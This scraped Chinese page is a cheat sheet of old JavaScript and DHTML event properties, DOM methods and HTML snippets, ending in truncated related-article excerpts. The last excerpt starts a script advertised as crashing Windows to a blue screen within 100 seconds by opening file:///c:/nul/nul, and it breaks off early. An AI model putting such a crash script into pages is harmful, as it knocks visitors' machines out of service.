JavaScript 事件方法
JavaScript 事件方法
http://www.webdeveloping.cn/blog/?action=show&id=207
事件源对象
event.srcElement.tagName
event.srcElement.type
捕获释放
event.srcElement.setCapture();
event.srcElement.releaseCapture();
事件按键
event.keyCode
event.shiftKey
event.altKey
event.ctrlKey
事件返回值
event.returnValue
鼠标位置
event.x
event.y
窗体活动元素
document.activeElement
绑定事件
document.captureEvents(Event.KEYDOWN);
访问窗体元素
document.all("txt").focus();
document.all("txt").select();
窗体命令
document.execCommand
窗体COOKIE
document.cookie
菜单事件
document.oncontextmenu
创建元素
document.createElement("SPAN");
根据鼠标获得元素:
document.elementfromPoint(event.x,event.y).tagName=="TD
document.elementfromPoint(event.x,event.y).appendChild(ms)
窗体图片
document.images[索引]
窗体事件绑定
document.onmousedown=scrollwindow;
元素
document.窗体.elements[索引]
对象绑定事件
document.all.xxx.detachEvent('onclick',a);
插件数目
navigator.plugins
取变量类型
typeof($js_libpath)=="undefined"
下拉框
下拉框.options[索引]
下拉框.options.length
查找对象
document.getElementsByName("r1");
document.getElementById(id);
定时
timer=setInterval('scrollwindow()',delay);
clearInterval(timer);
UNCODE编码
escape(),unescape
父对象
obj.parentElement(dhtml)
obj.parentNode(dom)
交换表的行
TableID.moveRow(2,1)
替换CSS
document.all.csss.href="a.css";
并排显示
display:inline
隐藏焦点
hidefocus=true
根据宽度换行
style="word-break:break-all"
自动刷新
<metaHTTP-EQUIV="refresh"CONTENT="8;URL=http://c98.yeah.net">
简单邮件
<ahref="mailto:aaa@bbb.com?subject=ccc&body=xxxyyy">
快速转到位置
obj.scrollIntoView(true)
锚
<aname="first">
<ahref="#first">anchors</a>
网页传递参数
location.search();
可编辑
obj.contenteditable=true
执行菜单命令
obj.execCommand
双字节字符
/[^\x00-\xff]/
汉字
/[\u4e00-\u9fa5]/
让英文字符串超出表格宽度自动换行
word-wrap:break-word;word-break:break-all;
透明背景
<
相关文档:
引言
在JavaScript中我们使用了一种被称为 JavaScript Object Notation(缩写JSON)的形式,翻译为中文就是“JavaScript对象表示法”。它可以简介清晰地将对象的结构描述出来,从而大大降低了我们的工作量并减少了数据量。
Json示例
<script languag ......
引言
想必君的悟性极高,可能你会这样想:如果在JavaScript 内置的那些如Object 和Function等函数的prototype上添加些新的方法和属性,是不是就能扩展JavaScript的功能呢?
那么,恭喜你,你得到了!
闭包模型
<script language="javascript">
function person(){& ......
a href="javascript:if(confirm(
悬赏分:0 - 解决时间:2008-9-25 13:58
a href="javascript:if(confirm('http://hunter.51rc.com/ \n\n文件并未依 Teleport Pro 取回,因为 它的域或路径超过开始网址中设置的范围。 \n\n你要从服务器上打开它吗?'))window.location='http://hunter.51rc.com/'" tppabs="http://h ......
<input type=button value=刷新 onclick="window.location.reload()">
<input type=button value=前进 onclick="window.history.go(1)">
<input type=button value=后退 onclick="window.history.go(-1)"> ......
【!声明:此程序只供研究使用,如用做不正当用途后果自负】
100秒内蓝屏死机的Javascript脚本源代码
引自:http://www.webdeveloping.cn/blog/?action=show&id=78
<html>
<head>
<script LANGUAGE="javascript">
function leave() {
window.open(file:///c:/nul/nul,,toolbar=no,menub ......